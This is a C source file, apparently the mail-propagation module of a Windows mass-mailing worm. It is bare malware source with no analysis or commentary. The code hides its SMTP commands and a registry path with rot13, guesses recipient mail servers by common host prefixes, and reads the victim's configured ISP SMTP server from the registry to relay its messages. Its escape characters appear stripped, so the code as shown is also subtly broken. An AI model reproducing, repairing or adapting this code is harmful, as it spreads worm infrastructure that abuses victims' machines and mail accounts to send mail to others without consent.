#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include "lib.h"
#include "xdns.h"
#include "massmail.h"
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "user32.lib")
#define my_tolower(c) (((c) >= 'a' && (c) <= 'z') ? ((c)-'a'+'A') : (c));
#define my_isdigit(c) ((c) >= '0' && (c) <= '9')
#define my_isalpha(c) (((c) >= 'a' && (c) <= 'z') || ((c) >= 'A' && (c) <= 'Z'))
#define my_isalnum(c) (my_isdigit(c) || my_isalpha(c))
static int recvline(SOCKET s, char *buf, int size, unsigned long timeout)
{
int i, t;
for (i=0; (i+1)<size;) {
if (timeout != 0) {
fd_set fds;
struct timeval tv;
FD_ZERO(&fds);
FD_SET(s, &fds);
tv.tv_sec = timeout / 1000;
tv.tv_usec = (timeout % 1000) * 1000;
if (select(0, &fds, NULL, NULL, &tv) <= 0)
break;
}
t = recv(s, buf+i, 1, 0);
if (t < 0) return -1;
if (t == 0) break;
if (buf[i++] == 'n') break;
}
buf[i] = 0;
return i;
}
static unsigned long my_atou_x(char *s)
{
unsigned radix=10, c;
unsigned long n=0;
while (*s == ' ' || *s == 't') s++;
if (s[0] == '0' && s[1] == 'x') {
radix = 16;
s += 2;
}
while (my_isalnum(*s)) {
c = my_tolower(*s); s++;
if (my_isdigit(c)) c=c-'0'; else c=c-'A'+10;
if (c >= radix) break;
n = n * radix + c;
}
return n;
}
static int my_atoi(char *s)
{
int n=0;
while (*s == ' ' || *s == 't') s++;
while (my_isalnum(*s))
n = n * 10 + (*s++ - '0');
return n;
}
static unsigned long resolve(char *hostname)
{
unsigned long ip = inet_addr(hostname);
if (ip == 0xFFFFFFFF || (ip == 0 && hostname[0] != '0')) {
struct hostent *h = gethostbyname(hostname);
if (h != NULL)
ip = *(unsigned long *)h->h_addr_list[0];
}
if (ip == 0xFFFFFFFF) ip = 0;
return ip;
}
static int mail_extracthdr(char *headers, char *name, char *buf, int bufsize)
{
char *p = headers, *q;
char hdrname[256];
int i;
if (headers == NULL || name == NULL || buf == NULL || bufsize <= 0) return 1;
while (*p == 'r' || *p == 'n' || *p == ' ' || *p == 't') p++;
while (*p) {
for (i=0; i<(sizeof(hdrname)-1);) {
char c = *p++;
if (c == 0) break;
if (c == ':' || c == 'r' || c == 'n') { p--; break; }
if (c == 't') c=' ';
if (i>0 && c==' ') { if(hdrname[i-1]==' ') continue; }
if (i==0 && c==' ') continue;
hdrname[i++] = c;
}
hdrname[i] = 0;
if (*p == 0) break;
if (hdrname[lstrlen(hdrname)-1] == ' ') hdrname[lstrlen(hdrname)-1] = 0;
if (hdrname[0] == 0) break;
if (*p == ':') {
CharLower(hdrname);
if (lstrcmpi(hdrname, name) == 0) {
p++;
goto hdr_found;
}
}
while (*p != 'n' && *p != 'r' && *p) p++;
if (*p == 0) break;
if (*p == 'n') {
p++;
if (*p == 'r') p++;
} else if (*p == 'r') {
p++;
if (*p == 'n') p++;
}
if (*p == 'n' || *p == 'r') break;
}
return 1;
hdr_found:
if (*p == ' ' || *p == 't') p++;
for (i=0; i<(bufsize-1);) {
char c = *p++;
if (c == 'r' || c == 'n') {
q = p--;
while (*q == 'n' || *q == 'r') q++;
if (*q != ' ' && *q != 't') break;
while (*p == 'n' || *p == 'r') p++;
continue;
}
buf[i++] = c;
}
buf[i] = 0;
return 0;
}
static int wait_sockread(SOCKET sock, unsigned long timeout)
{
struct timeval tv;
fd_set fds;
tv.tv_sec = timeout / 1000;
tv.tv_usec = (timeout % 1000) * 1000;
FD_ZERO(&fds);
FD_SET(sock, &fds);
return (select(0, &fds, NULL, NULL, &tv) <= 0) ? 1 : 0;
}
static int smtp_issue(SOCKET sock, int timeout, LPCTSTR lpFormat, ...)
{
char buf[1024], *p;
int code;
if (lpFormat != NULL) {
va_list arglist;
va_start(arglist, lpFormat);
wvsprintf(buf, lpFormat, arglist);
va_end(arglist);
send(sock, buf, lstrlen(buf), 0);
}
for (;;) {
if (recvline(sock, buf, sizeof(buf), timeout) <= 0) return 0;
for (p=buf, code=0; *p == ' ' || *p == 't'; p++);
while (*p >= '0' && *p <= '9') code = code * 10 + *p++ - '0';
if (*p == '-') continue;
break;
}
return code;
}
static int smtp_send_server(struct sockaddr_in *addr, char *message)
{
char from[256], from_domain[256], rcpt[256], *p, *q;
char fmt[256];
int stat;
SOCKET sock;
if (mail_extracthdr(message, "From", from, sizeof(from))) return 1;
if (mail_extracthdr(message, "To", rcpt, sizeof(rcpt))) return 1;
for (p=from; *p && *p != '@'; p++);
if (*p == 0) return 1;
lstrcpy(from_domain, p+1);
sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == INVALID_SOCKET) return 1;
if (connect(sock, (struct sockaddr *)addr, sizeof(struct sockaddr_in)))
goto err;
if (wait_sockread(sock, 15000)) goto err;
stat = smtp_issue(sock, 15000, NULL);
if (stat < 200 || stat >= 400) goto err;
rot13(fmt, "RUYB %frn"); /* EHLO %s */
stat = smtp_issue(sock, 10000, fmt, from_domain);
if (stat < 200 || stat > 299) {
rot13(fmt, "URYB %frn"); /* "HELO %srn" */
stat = smtp_issue(sock, 10000, fmt, from_domain);
if (stat < 200 || stat > 299) goto err;
}
rot13(fmt, "ZNVY SEBZ:<%f>rn"); /* "MAIL FROM:<%s>rn" */
stat = smtp_issue(sock, 10000, fmt, from);
if (stat < 200 || stat > 299) goto err;
rot13(fmt, "EPCG GB:<%f>rn"); /* "RCPT TO:<%s>rn" */
stat = smtp_issue(sock, 10000, fmt, rcpt);
if (stat < 200 || stat > 299) goto err;
stat = smtp_issue(sock, 10000, "DATArn");
if (stat < 200 || stat > 399) goto err;
for (p=message;;) {
for (q=p; *q && *q != 'n' && *q != 'r'; q++);
while (*q == 'n' || *q == 'r') q++;
if (p == q) break;
if (*p == '.') send(sock, ".", 1, 0);
if (send(sock, p, q-p, 0) <= 0) goto err;
p = q;
}
send(sock, "rn.rn", 5, 0);
stat = smtp_issue(sock, 15000, NULL);
if (stat < 200 || stat >= 400) goto err;
smtp_issue(sock, 5000, "QUITrn");
closesocket(sock);
return 0;
err: closesocket(sock);
return 1;
}
//-----------------------------------------------------------------------------
static int xsmtp_try_isp(char *message)
{
struct sockaddr_in addr;
char buf1[128], buf2[256], buf3[256], buf4[128];
DWORD indx, dwsize;
HKEY regkey1, regkey2;
int success;
rot13(buf1, "Fbsgjner\Zvpebfbsg\Vagrearg Nppbhag Znantre\Nppbhagf");
rot13(buf4, "FZGC Freire");
if (RegOpenKeyEx(HKEY_CURRENT_USER, buf1, 0, KEY_READ, ®key1) != 0)
return 1;
indx = 0;
success = 0;
while (RegEnumKey(regkey1, indx++, buf2, sizeof(buf2)) == ERROR_SUCCESS) {
if (RegOpenKeyEx(regkey1, buf2, 0, KEY_READ, ®key2) != ERROR_SUCCESS)
continue;
memset(buf3, ' ', sizeof(buf3));
dwsize = 256;
if (RegQueryValueEx(regkey2, buf4, 0, 0, buf3, &dwsize) == 0) {
addr.sin_addr.s_addr = resolve(buf3);
if (addr.sin_addr.s_addr != 0) {
addr.sin_family = AF_INET;
addr.sin_port = htons(25);
if (smtp_send_server(&addr, message) == 0)
success = 1;
}
}
RegCloseKey(regkey2);
if (success) break;
}
RegCloseKey(regkey1);
return (success) ? 0 : 1;
}
int smtp_send(struct mxlist_t *primary_mxs, char *message)
{
struct sockaddr_in addr;
char rcpt[256], rcpt_domain[256], *p, buf[256];
struct mxlist_t *mxl;
int i;
if (message == NULL) return 1;
if (mail_extracthdr(message, "To", rcpt, sizeof(rcpt))) return 1;
for (p=rcpt; *p && *p != '@'; p++);
if (*p == 0) return 1;
lstrcpy(rcpt_domain, p+1);
for (mxl=primary_mxs; mxl; mxl=mxl->next) {
addr.sin_addr.s_addr = resolve(mxl->mx);
if (addr.sin_addr.s_addr == 0) continue;
addr.sin_family = AF_INET;
addr.sin_port = htons(25);
if (smtp_send_server(&addr, message) == 0)
return 0;
}
for (i=0;; i++) {
switch(i) {
case 0: lstrcpy(buf, rcpt_domain); break;
case 1: wsprintf(buf, "mx.%s", rcpt_domain); break;
case 2: wsprintf(buf, "mail.%s", rcpt_domain); break;
case 3: wsprintf(buf, "smtp.%s", rcpt_domain); break;
case 4: wsprintf(buf, "mx1.%s", rcpt_domain); break;
case 5: wsprintf(buf, "mxs.%s", rcpt_domain); break;
case 6: wsprintf(buf, "mail1.%s", rcpt_domain); break;
case 7: wsprintf(buf, "relay.%s", rcpt_domain); break;
case 8: wsprintf(buf, "ns.%s", rcpt_domain); break;
case 9: wsprintf(buf, "gate.%s", rcpt_domain); break;
default: buf[0] = 0; break;
}
if (buf[0] == 0) break;
addr.sin_addr.s_addr = resolve(buf);
if (addr.sin_addr.s_addr == 0) continue;
addr.sin_family = AF_INET;
addr.sin_port = htons(25);
if (smtp_send_server(&addr, message) == 0) return 0;
if ((xrand16() % 100) < 20) break;
}
if ((xrand16() % 100) < 25)
if (xsmtp_try_isp(message) == 0) return 0;
return 1;
}